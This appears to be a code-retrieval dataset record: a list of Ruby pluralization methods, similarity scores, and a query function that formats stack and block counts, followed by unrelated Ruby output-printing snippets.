"def pluralizer string, number\n if n == 1 \n puts \"#{number} #{string}\"\n elsif string == \"person\"\n puts \"#{number} people\"\n elsif string == \"child\"\n puts \"#{number} children\"\n elsif string == \"goose\"\n puts \"#{number} geese\"\n elsif n > 1 \n puts \"#{number} #{string}s\"\n end\nend",
"def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n \"#{number} #{noun}s\"\n end\nend",
"def name_plural() name_singular + 's' end",
"def plural(input)\n input.dup.en.plural\n end",
"def pluralize\n self.class.new Inflector.pluralize(self)\n end",
"def pluralize\n self.class.new Inflector.pluralize(self)\n end",
"def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend",
"def plural_without_count(count, word)\n count == 1 ? word : word.pluralize\n end",
"def pluralize(count, singular, plural_arg=nil, plural: plural_arg, locale: I18n.locale)\n self.class.pluralize(count, singular, plural_arg, plural: plural, locale: locale)\n end",
"def pluralizer(num, obj)\n obj.downcase!\n if num > 1\n if obj == \"sheep\"\n return \"#{num} #{obj}\"\n elsif obj == \"goose\"\n return \"#{num} geese\"\n elsif obj == \"child\"\n return \"#{num} children\"\n elsif obj == \"person\"\n return \"#{num} people\"\n elsif obj == \"species\"\n return \"#{num} #{obj}\"\n else\n return \"#{num} #{obj}s\"\n end\n else\n return \"#{num} #{obj}\"\n end\nend",
"def pluralize(number_of_bottles)\n if number_of_bottles > 1\n \"#{number_of_bottles} bottles\"\n elsif number_of_bottles == 1\n \"1 bottle\"\n else\n \"No more bottles\"\n end\nend",
"def plural(input)\n input>1 ? 's' : ''\n end",
"def plural(palavra)\n \"#{palavra}s\"\nend",
"def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend",
"def pluralize(count, singular, plural_arg = T.unsafe(nil), plural: T.unsafe(nil), locale: T.unsafe(nil)); end",
"def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each do |(rule, replacement)| \n break if result.gsub!(rule, replacement)\n end\n result\n end\n end",
"def pluralizer num, noun\n if num != 1\n \"#{num} #{noun}s\"\n elsif num == 1 \n \"#{num} #{noun}\"\n elsif num != 1 && noun == goose\n \"#{num}, geese\"\n end\nend",
"def pluralize_model(klass, options = {})\n t(\"activerecord.models.#{klass.model_name.i18n_key}\", :count => options[:count] || 2)\n end",
"def pluralize(word)\n return word + \"s\" if pluralize?\n word\nend",
"def plural(*args)\n TextHelper.pluralize(*args)\n end",
"def display_name_pluralize\n I18n.t(self.name, :scope => \"umlaut.service_type_names\", :default => :default, :count => 10)\n end",
"def plural_adjective( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_special_adjective(word, count) || word )\n\n\t\treturn pre + plural + post\n\tend",
"def pluralize_category_count\n pluralize(category.articles.count, \"article\")\n end",
"def plural( count=2 )\n\t\tphrase = if self.respond_to?( :to_int )\n\t\t\t\tself.numwords\n\t\t\telse\n\t\t\t\tself.to_s\n\t\t\tend\n\n\t\tself.log.debug \"Pluralizing %p\" % [ phrase ]\n\t\tpre = text = post = nil\n\n\t\t# If the string has whitespace, only pluralize the middle bit, but\n\t\t# preserve the whitespace to add back to the result.\n\t\tif md = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase.to_s )\n\t\t\tpre, text, post = md.captures\n\t\telse\n\t\t\treturn phrase\n\t\tend\n\n\t\tplural = postprocess( text,\n\t\t\tpluralize_special_adjective(text, count) ||\n\t\t\tpluralize_special_verb(text, count) ||\n\t\t\tpluralize_noun(text, count) )\n\n\t\treturn pre + plural + post\n\tend",
"def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend",
"def pluralized_noun(number, noun)\n \"#{number} #{noun.pluralize(number)}\"\n end",
"def plural_noun( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word, pluralize_noun(word, count) )\n\n\t\treturn pre + plural + post\n\tend",
"def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }\n result\n end\n end",
"def pluralize(word)\n result = word.to_s.dup\n\n if word.empty? || inflections.uncountables.include?(result.downcase)\n result\n else\n inflections.plurals.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }\n result\n end\n end",
"def declension(singular, plural, count)\n count == 1 ? singular : plural\n end",
"def inflection(text, count = nil, inflect: nil)\n if (count == 1) || INFLECT_SINGULAR.include?(inflect)\n text.to_s.singularize\n elsif count.is_a?(Integer) || INFLECT_PLURAL.include?(inflect)\n text.to_s.pluralize\n else\n text.to_s.dup\n end\n end",
"def quantify(number=nil, prepend=false)\n word = self\n word = word.pluralize unless number == 1\n word = [number, word].join(' ') if prepend\n word\n end",
"def plural\n return word if word.to_s.empty?\n\n find_match(Inflection.configuration.plurals[:noun]) ||\n (uncountable? && word) || find_match(Nouns.plurals) || word\n end",
"def pluralize(string)\n if string[-1] == 'y'\n \"#{string[0..(string.length - 2)]}ies\"\n else\n \"#{string}s\"\n end\n end",
"def pluralize_word(singular)\n singular.respond_to?(:pluralize) ? singular.pluralize : singular + 's'\n end",
"def plural_every(int, str)\r\n return \"#{int} #{str}s\" unless int == 1\r\n \"#{str}\"\r\n end",
"def pluralizer(num,noun)\n p num > 1 ? \"#{num} #{noun}s\" : nil\nend",
"def plural(word)\n # special exceptions\n return \"\" if word == \"\"\n if result = plural_of[word]\n return result.dup\n end\n result = word.dup\n regex, hash = pluralization_rules\n result.sub!(regex) {|m| hash[m]}\n plural_of[word] = result\n return result\n end",
"def declension(singular, plural, count)\n if count == 1\n singular\n else\n plural\n end\n end",
"def pluralize(resource)\n resource =~ /^\\w+y$/ ? resource.sub(/y$/, 'ies') : \"#{resource}s\"\n end",
"def friendly_name_pluralized\n @friendly_name_pluralized ||= self.name.humanize.pluralize\n end",
"def pluralize_unit_with_locale(count, unit, locale)\n singular = locale.t(:\"units.#{unit}\")\n unit_word = count == 1 ? singular : singular.pluralize\n locale.t(:template, count: count, unit: unit_word)\n end",
"def pluralize_without_number(word)\n pluralize(2, word).split(' ')[1..-1].join(' ')\n end",
"def pluralizer (noun, num)\n if num > 1 && noun.include?('goose')\n puts \"#{num}, geese\"\n elsif num > 1\n puts \"#{num}, #{noun}s\"\n else\n puts \"#{num}, #{noun}\"\n end\nend",
"def pluralize_with_delimiter(count, singular, plural=nil)\n \"#{number_with_delimiter(count) || 0} \" + ((count == 1 || count =~ /^1(\\.0+)?$/) ? singular : (plural || singular.pluralize))\n end",
"def plural?(num)\n return 'ruby' if num == 1\n return 'rubies' if num > 1\n end",
"def make_plural\n\t\tsentence_array=Array.new\n\t\tnew_sentence_array=Array.new\n\t\tsentence_array= to_str.split(/ /)\n\t\t\t(0..sentence_array.size-1).each do |cnt|\n\t\t\t\tnew_sentence_array << sentence_array[cnt].strip.downcase.pluralize\n\t\t\tend\n\t\treturn new_sentence_array.join(\" \")\n\tend",
"def plural(rule, replacement)\n @uncountables.delete(rule) if rule.is_a?(String)\n @uncountables.delete(replacement)\n @plurals.prepend([rule, replacement])\n end"
] |
[
"0.7735955",
"0.7571325",
"0.75603735",
"0.74320835",
"0.74320835",
"0.7398042",
"0.738987",
"0.7385635",
"0.7377726",
"0.72870207",
"0.72658676",
"0.7218908",
"0.721805",
"0.7212929",
"0.7212703",
"0.7212703",
"0.7212703",
"0.7212163",
"0.71872634",
"0.7184885",
"0.71659935",
"0.7146713",
"0.714378",
"0.7128416",
"0.7122464",
"0.70730263",
"0.7066221",
"0.7056379",
"0.70493513",
"0.70456487",
"0.70214874",
"0.7005067",
"0.7003589",
"0.7001048",
"0.6986432",
"0.69773495",
"0.69412637",
"0.69218",
"0.69187224",
"0.6911422",
"0.6907218",
"0.6897472",
"0.6887333",
"0.68811715",
"0.6873231",
"0.6869273",
"0.68479145",
"0.6843331",
"0.6838823",
"0.68177116",
"0.67974174",
"0.6788643",
"0.67873156",
"0.67842716",
"0.6769885",
"0.6764134",
"0.6749716",
"0.6749716",
"0.6734893",
"0.67315453",
"0.67227405",
"0.6698432",
"0.6697465",
"0.6668642",
"0.666724",
"0.6659937",
"0.6647095",
"0.66448134",
"0.6642555",
"0.663101",
"0.66097313",
"0.6587298",
"0.6550896",
"0.6546208",
"0.6537242",
"0.6514193",
"0.651395",
"0.6510741",
"0.6508555",
"0.6507091",
"0.6507091",
"0.64845335",
"0.6480642",
"0.646755",
"0.6442401",
"0.6441258",
"0.6420982",
"0.64186776",
"0.6412633",
"0.6383898",
"0.6383838",
"0.63486683",
"0.63198984",
"0.6316827",
"0.63081616",
"0.6300121",
"0.62886536",
"0.6245977",
"0.6245039",
"0.62445474"
] |
0.6957761
|
36
|
Create an intelligent output, i.e. don't print something like "0 blocks"
|
def get_output(stacks, blocks, put_shulkers=false)
s = ""
put_stacks, put_blocks = stacks.nonzero?, blocks.nonzero?
if put_shulkers
s += pluralize boxes = (stacks / 27).floor, "shulker"
# Strip the necessary # of stacks off the count.
stacks -= boxes * 27
put_stacks = stacks.nonzero?
s += ", " if put_stacks or put_blocks
end
if put_stacks
s += pluralize stacks, "stack"
s += ", " if put_blocks
end
s += pluralize blocks, "block" if put_blocks
s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_none(msg)\n tag = ' '\n print_formatted(tag,msg)\n end",
"def to_s; \"<Block #{length}>\"; end",
"def render\n\t\tprint \"cl1 cl2 cl3 cl4 cl5 cl6 cl7 cl8 cl9 c10\\n\"\n\t\t(0..9).each do |row|\n\t\t\t(0..9).each do |col|\n\t\t\t\tif @grid[row][col].is_flagged\n\t\t\t\t\tprint \"FLG\"\n\t\t\t\telsif @grid[row][col].is_hidden\n\t\t\t\t\tprint \" \"\n\t\t\t\telsif @grid[row][col].surrounding_bombs > 0\n\t\t\t\t\tprint \" #{@grid[row][col].surrounding_bombs} \"\n\t\t\t\telsif @grid[row][col].has_bomb\n\t\t\t\t\tprint \"POW\"\t\t\t\t\t\n\t\t\t\telse print \"xxx\"\n\t\t\t\tend\n\t\t\t\tprint \"|\" unless col == 9\n\t\t\t\tprint \"row#{row + 1}\\n\" if col == 9\n\t\t\tend\n\t\tend\n\tend",
"def print_mc\n if @minimal_segment_count == segment_count+1\n print \"0\\n\";\n else\n print \"#{@minimal_segment_count}\\n\"\n for i in 0..segment_count-1\n if is_in_mc?(i)\n get_segment(i).to_s2\n end\n end\n end\n end",
"def render_spacer\n puts \"\\n\"\n end",
"def make_block_header_lines(block, model)\n puts \"${color1}#{model} (#{block})\"\n #puts \"${color1}Read: ${color2}${diskio_read #{block}} ${goto 175}\" \\\n # \"${color1}Write: ${color2}${diskio_write #{block}}\"\n #puts \"${color5}${diskiograph_read #{block} 18,150 0000ff ff0000 -t} ${goto 175}\" \\\n # \"${color5}${diskiograph_write #{block} 18,150 0000ff ff0000 -t}\"\nend",
"def separator(num_of_astrsk = 24)\n $report_file.puts(\"*\" * num_of_astrsk)\nend",
"def print_output\n output.map { |line| (line =~ /^\\-$/) ? ('-' * total_width) : line.rjust(total_width) }\n end",
"def print_separator\n\t40.times {print '-'}\n\tputs\nend",
"def empty_line\n puts\" \" * 70\nend",
"def print_divider\n\t\tputs \"------------------------------------------------------------\"\n\tend",
"def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn s\r\n\tend",
"def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn s\r\n\tend",
"def draw_sample\n \t\" #{@sample[:space_1]} | #{@sample[:space_2]} | #{@sample[:space_3]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_4]} | #{@sample[:space_5]} | #{@sample[:space_6]}\\n\" +\n \t\t\t\t\t \" _____|_____|____\\n\" +\n \t\" #{@sample[:space_7]} | #{@sample[:space_8]} | #{@sample[:space_9]}\\n\" +\n \t\t\t\t\t\t \" | | \\n\\n\"\n\n end",
"def draw_blank\n puts \"[ o ] [ o ] [ o ] [ o ]\\n\\n\"\n end",
"def print\n (1..5).each do |l|\n out = printByLine(l) + \"\\n\"\n STDOUT << (VROW.include?(l) ? out*@size : out )\n end\n end",
"def to_s\n\t\toutput = \"\"\n\t\t(0...@max_block).each do |i|\n\t\t\tif @decoded[i].nil?\n\t\t\t\toutput << \" \"\n\t\t\telse\n\t\t\t\toutput << \"O\"\n\t\t\tend\n\t\tend\n\t\toutput << \"\\n\\nTotal decoded:#{@num_valid}, Encoded heap size:#{@encoded.length}, Total needed:#{@max_block}, percentage:#{@num_valid/@max_block.to_f * 100}\"\n\t\treturn output\n\tend",
"def display\n puts \"Random Call: #{@call_column}, #{@call_number}\"\n puts \"\\n\"\n p \"B I N G O\"\n puts self.check.map { |block| puts block.inspect }\n end",
"def print_times_blank(amount)\n amount.times { print \" \"}\n nil\n end",
"def display\n\t\tr_str = \"Message: \"\n\t\t(@length / 5).times { |i| r_str += \"#{@string[(i * 5)...(i * 5) + 5]} \" }\n\t\tputs r_str\n\tend",
"def level_print(message, count)\n\n if count > 0\n indention = \"\"\n indention += \" \" until indention.length() == 2*count\n print indention\n end\n\n puts message\nend",
"def space\n 20.times do\n puts \"\"\n end\n end",
"def blank_line\n output \"\"\n end",
"def render\n @board.each.with_index do |row, y|\n row.each.with_index do |item, x|\n chr = item.nil? ? \" \" : item\n print \" #{chr} \"\n print \"|\" unless x == row.size - 1\n end\n print \"\\n-----------\\n\" unless y == @board.size - 1\n end\n print \"\\n\"\n end",
"def hor_line\n\tfor i in 1..40\n\t\tprint \"-\"\n\tend\n\tputs ''\nend",
"def show_blank(p)\r\n set_cursor p\r\n print Normal\r\n print \" \"*@disks + \"|\" + \" \"*@disks\r\n update\r\n end",
"def formatForSTDOUT()\n output = \"Total Reads Produced = \" + @totalReadsProduced.to_s + \"\\r\\n\" +\n \"Duplicate Reads = \" + @numDuplicateReads.to_s + \" (\" + @perDuplicateReads.to_s + \")%\\r\\n\" +\n \"Total Reads Aligned = \" + @numAlignedReads.to_s + \" (\" + @perAlignedReads.to_s + \")%\\r\\n\" +\n \"Paired Reads = \" + @numReadsPaired.to_s + \"\\r\\n\" +\n \"Reads Paired with Mapped Mates = \" + @numReadAndMatePaired.to_s + \"\\r\\n\" +\n \"Buffer Aligned Reads = \" + @numBufferAlignedReads.to_s + \" (\" + @perBufferAlignedReads.to_s + \")%\\r\\n\" + \n \"Target Aligned Reads = \" + @numTargetAlignedReads.to_s + \" (\" + @perTargetAlignedReads.to_s + \")%\\r\\n\" +\n \"Average Coverage = \" + @avgCoverage.to_s + \"\\r\\n\" +\n \"Reads on Target or Buffer = \" + @numReadsTargetBuffer.to_s + \" (\" + @perReadsTargetBuffer.to_s + \")%\\r\\n\" +\n \"Total Aligned Reads (Expected) = \" + @totalExpAlignedReads.to_s + \"\\r\\n\" +\n \"Total Aligned Reads (Calculated) = \" + @totalCalcAlignedReads.to_s + \"\\r\\n\" +\n \"Targets Hit = \" + @numTargetsHit.to_s + \" (\" + @perTargetsHit.to_s + \")%\\r\\n\" +\n \"Target Buffers Hit = \" + @numTargetBuffersHit.to_s + \" (\" + @perTargetBuffersHit.to_s + \")%\\r\\n\" +\n \"Total Targets = \" + @numTotalTargets.to_s + \"\\r\\n\" +\n \"Non Target Hits = \" + @numNonTarget.to_s + \"\\r\\n\" +\n \"Bases on Target = \" + @numTargetedBases.to_s + \"\\r\\n\" +\n \"Buffer Bases = \" + @numBufferBases.to_s + \"\\r\\n\" + \n \"Bases with 1+ Coverage = \" + @numBases1Coverage.to_s + \" (\" + @perBases1Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 4+ Coverage = \" + @numBases4Coverage.to_s + \" (\" + @perBases4Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 10+ Coverage = \" + @numBases10Coverage.to_s + \" (\" + @perBases10Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 20+ Coverage = \" + @numBases20Coverage.to_s + \" (\" + @perBases20Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 40+ Coverage = \" + @numBases40Coverage.to_s + \" (\" + @perBases40Coverage.to_s + \")%\\r\\n\"\n return output\n end",
"def skip_lines(num=0) \n num.times do \n puts \" \"\n end\n end",
"def show_blanks(results)\n\t\tputs \"#{results}\\n\".center(53)\n\tend",
"def format_output_without_CSV\r\n\t\theadings = [] << \"Run\"\r\n\t\trows = []\r\n\t\[email protected]_with_index {|p,i| headings << \"F#{i+1}\"}\r\n\t\[email protected]_with_index {|r,i| temp = [\"#{i+1}\"]; temp += r; rows << temp}\r\n\t\t@output_table = Terminal::Table.new :title => \"IPO Algorithm tests output\", :headings => headings, :rows => rows\r\n\tend",
"def print_in_box(message)\n width = message.length + 2\n line = '++'\n space = '||'\n banner = \"| #{message} |\"\n\n (width).times do |i|\n line.insert(1,'-')\n space.insert(1,' ')\n end\n\n puts line\n puts space\n puts banner\n puts space\n puts line\nend",
"def blank\n print \"\\r\"\n if @last_print_msg\n print ' ' * IO.console.winsize[1]\n end\n print \"\\r\"\n end",
"def show (i)\n puts \"@#{@line}:\" \\\n \"\\t#{@output[i].scan(/.{4}|.+/).join(\"_\") unless @instruction.nil?}\" \\\n \"\\t#{@cmd[:comments]}\"\n end",
"def prn\n puts \" #{(0..8).to_a.join(\" \")}\"\n puts \" #{'-' * (2 * 9)}\"\n g.each_with_index do |v, i|\n # ERROR: print function doesn't display values and doesn't use colors\n # puts \"#{i} #{v.join(\" \")}\"\n puts \"#{i} | #{v.map{|t| t.n.to_s.colorize(t.c) }.join(' ')}\"\n end\n end",
"def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def write_nonblock(p0) end",
"def to_s\n r = \"##### ##### ##### ##### #####\\n\"\n (0..2).each { |y|\n (0..2).each { |x|\n r += get_print_char(x,y, '.') + \" \"\n }\n r += (\" \" * 5)\n (0..2).each { |x|\n r += get_print_char(x,y, nil, \" \", \" \") + \" \"\n }\n r += \"\\n\"\n }\n r += '##### ##### ##### ##### #####'\n end",
"def display\n puts \" 0 1 2 3 4 5 6 7 \"\n puts \"#{format}\"\n end",
"def display\n system 'clear'\n print \"\\n\"\n i = 0\n @size.times do |y|\n @size.times do |x|\n print \"#{tile_to_s(i)} \"\n i += 1\n end\n print \"\\n\"\n end\n print \"\\n\"\n end",
"def test_to_s_with_no_block\n expected_output = [\"\\\"1. My Fun Team, 6 pts\\\"\\n\\\"2. Another Team, 3 pts\\\"\\n\\\"2. My Other Team, 3 pts\\\"\\n\\\"4. Trying Team, 0 pts\\\"\\n\", \"\"]\n out = capture_io do\n @standings.to_s\n end\n\n assert_equal(expected_output, out)\n end",
"def render\n puts \" #{(0..7).to_a.join(' ')}\"\n (0..7).each do |row|\n puts \"#{row} #{print_row(@board.grid[row] , row).join('|')}\"\n puts\n end\n end",
"def print_spacer(number_of_dots)\n\t$report_file.puts \"*\" * number_of_dots\nend",
"def print_good(string)\n\tputs \"[*] \".light_green + \"#{string}\".white\nend",
"def line\n\tputs \"-\" * 100\nend",
"def show\n\t puts \"\t#{@spaces[0]} #{@spaces[1]} #{@spaces[2]}\"\n\t puts \"\t#{@spaces[3]} #{@spaces[4]} #{@spaces[5]}\"\n\t puts \"\t#{@spaces[6]} #{@spaces[7]} #{@spaces[8]}\"\n\tend",
"def ne(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend",
"def print_heading_message message\n puts message\n\n message.size.times do\n print \"-\"\n end\n print_spacing(1)\nend",
"def print_none()\n\tputs \"\\t>> print_none\"\n\tputs \"i got nothin'.\"\n\tputs \"\\t<< print_none\"\nend",
"def generate_empty_board\n puts \" 1 2 3\"\n puts \" A #{a1 = ' '} | #{a2 = ' ' } | #{a3 = ' '} \"\n puts separator = \" \"*4 + \"─\"*11\n puts \" B #{b1 = ' '} | #{b2 = ' '} | #{b3 = ' '} \"\n puts separator\n puts \" C #{c1 = ' '} | #{c2 = ' '} | #{c3 = ' '} \"\n end",
"def render\n\t\tclear\n\t\toutput = \"MINESWEEPER\\n-----------\\n#{@flags_remaining} Flags Remaining\\n-----------\\n\"\n\t\t# This will iterate through each row\n\t\t# on the board.\n\t\[email protected]_with_index do |row, index|\n\t\t\tindex == 0 ? output << \"#{@size - index} | \" : output << \"#{@size - index} | \"\n\t\t\t# This will iterate over each square\n\t\t\trow.each do |square|\n\t\t\t\tif square.displayed == false && square.flag == false\n\t\t\t\t\toutput << \"O\"\n\t\t\t\telsif square.displayed == false && square.flag == true\n\t\t\t\t\toutput << \"F\".green\n\t\t\t\telsif square.displayed == true && square.mine == true && square.flag == true\n\t\t\t\t\toutput << \"F\".green\n\t\t\t\telsif square.displayed == true && square.mine == true\n\t\t\t\t\toutput << \"M\".red\n\t\t\t\telsif square.displayed == true\n\t\t\t\t\tif square.surrounding_mines == 0\n\t\t\t\t\t\toutput << \"_\"\n\t\t\t\t\telsif square.surrounding_mines == 1\n\t\t\t\t\t\toutput << \"1\".blue\n\t\t\t\t\telsif square.surrounding_mines == 2\n\t\t\t\t\t\toutput << \"2\".green\n\t\t\t\t\telsif square.surrounding_mines == 3\n\t\t\t\t\t\toutput << \"3\".red\n\t\t\t\t\telse\n\t\t\t\t\t\toutput << square.surrounding_mines.to_s.blue\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\toutput << \"\\n\"\n\t\tend\n\t\toutput << \" ___________\\n\"\n\t\toutput << \" 12345678910\\n\"\n\t\tprint output\n\tend",
"def flush!\n return false if @buffer.empty? and @output_type != :blank\n @logger.debug \"FLUSH ==========> #{@output_type}\"\n @buffer.gsub!(/\\A\\n*/, \"\")\n\n case\n when mode_is_code?(current_mode)\n @output << \"```#{@block_lang}\\n\"\n @output << @buffer << \"\\n\"\n @output << \"```\\n\"\n when preserve_whitespace?\n @output << @buffer << \"\\n\"\n\n when @output_type == :blank\n @output << \"\\n\"\n\n else\n case current_mode\n when :paragraph\n @output << \"> \" if @mode_stack[0] == :quote\n\n when :list_item\n @output << \" \" * @mode_stack.count(:list_item) << \"* \"\n\n when :horizontal_rule\n @output << \"---\"\n\n end\n @output << inline_formatting(@buffer) << \"\\n\"\n end\n @buffer = \"\"\n end",
"def render_output(should_flood, start_line, text, color=:blue)\n if start_line\n text = Pry::Helpers::Text.with_line_numbers text, start_line, color\n end\n\n if should_flood\n output.puts text\n else\n stagger_output(text)\n end\n end",
"def render\n puts \" #{(0..8).to_a.join(\" \")}\"\n grid.each_with_index do |row, i|\n arr = []\n row.each do |tile|\n if tile.revealed == true\n arr << tile.display_value\n elsif tile.flagged == true\n arr << \"F\"\n else\n arr << \"*\"\n end\n end\n\n puts \"#{i} #{arr.join(\" \")}\"\n end\n end",
"def stdouts; end",
"def h_line\n puts \"-\" * 50\n nil\nend",
"def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend",
"def printTestExpectedOutput( fp )\n\t\tfp.printf( \"%s\\t\", @name ) if @name\n\t\tmissing = countMissing()\n\t\tfp.printf( \"%s:%s:%d:%d\\t\",\n\t\t\t\tmissing < @vector.length ? \"I\" : \"?\",\n\t\t\t\tdegenerate? ? \"!\" : \"-\", \n\t\t\t\t@cats, \n\t\t\t\tmissing )\n\t\tfp.puts( @vector.collect { |x| x.nil? ? OUTPUT_NA_MARKER : x }.join(\"\\t\") )\n\tend",
"def show_board\n \tputs \"-\"*16\n \tputs \"| #{@case_array[0].symbol} | #{@case_array[1].symbol} | #{@case_array[2].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[3].symbol} | #{@case_array[4].symbol} | #{@case_array[5].symbol} |\"\n \tputs \"-\"*16\n \tputs \"| #{@case_array[6].symbol} | #{@case_array[7].symbol} | #{@case_array[8].symbol} |\"\n \tputs \"-\"*16\n\tend",
"def game_banner\n puts <<-GRID\n ####### ####### ########{' '}\n # # ##{' '}\n # # ##{' '}\n # ## #### # #### #### # #### ####{' '}\n # # # # # # # # # ## ## # ##{' '}\n # # # # #### # # # # ######{' '}\n # # ## # # # ## # ## ## ##{' '}\n ### ### #### ### ##### #### ### #### ####\n GRID\nend",
"def display_blank_board() \n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\n puts \"-----------\"\n puts \" | | \"\nend",
"def output lines\n nil\n end",
"def write(io)\r\n if type == :code\r\n print text\r\n elsif type == :verbatim\r\n output = \" \"*pre_indent + $prefix + \" \"*first_post_indent + text + \"\\n\"\r\n output.entabify! if $retabify\r\n print output\r\n elsif type == :comment\r\n cur_post_indent = first_post_indent\r\n # special case of a line that is just $prefix\r\n if text.length == 0\r\n print \" \"*pre_indent + $prefix + \" \"*cur_post_indent + \"\\n\"\r\n end\r\n while text.length > 0\r\n width = $cols - pre_indent - $prefix.length - cur_post_indent\r\n if first_word.length > width\r\n STDERR.print \"Warning: #{first_word} is too long to fit in column.\"\r\n output = \" \"*pre_indent + $prefix + \" \"*cur_post_indent + \r\n first_word + \"\\n\"\r\n output.entabify! if $retabify\r\n print output\r\n trim(first_word.length)\r\n @text.lstrip!\r\n else\r\n out = words_to(width)\r\n output = \" \"*pre_indent + $prefix + \" \"*cur_post_indent + out + \"\\n\"\r\n output.entabify! if $retabify\r\n print output\r\n trim(out.length)\r\n @text.lstrip!\r\n end\r\n cur_post_indent = post_indent\r\n end\r\n else\r\n STDERR.print \"Confused, never determined block type.\"\r\n end\r\n end",
"def to_s\n puts \"---------------------------------------\"\n row = @slots.each_slice(9) { |slice| puts \"| \" + slice.join(\" | \") + \" |\"}\n puts \"---------------------------------------\"\n end",
"def print_sticks\n printf \" %-#{COL_SPACING}s: %d\\n\", \"Bonus sticks\", @bonus\n printf \" %-#{COL_SPACING}s: %d\\n\", \"Riichi sticks\", @riichi\n puts nil\n end",
"def print\n blank = \"#{Tty.yellow}[no description]#{Tty.reset}\"\n @descriptions.keys.sort.each do |name|\n description = @descriptions[name] || blank\n puts \"#{Tty.white}#{name}:#{Tty.reset} #{description}\"\n end\n end",
"def make_noise\n\t\tputs @noise\n\tend",
"def test_print_nil\n assert_output(\"\\tMining Results\\n\\tNo precious metals were found!\\n\") do\n @game.print_mining_results(0, 0)\n end\n end",
"def pretty_console_block(text, custom_delimiter_color=nil)\n line_width = 20\n result = \"\"\n delimiter = \"\\n#{\"-\" * line_width}\\n\"\n colored_delimiter = delimiter.send(custom_delimiter_color&.to_sym || :green)\n result += colored_delimiter\n result += text.rjust(line_width / 2).ljust(line_width)\n result += colored_delimiter\n result\n end",
"def print_with_nice_printer(header=nil, strs=[], &block)\n printer = NicePrinter.new\n printer.header\n printer.center(header) if header\n yield(printer)\n strs.each {|st| printer << st if st}\n printer.footer\n printer.print\n end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
"def output; end",
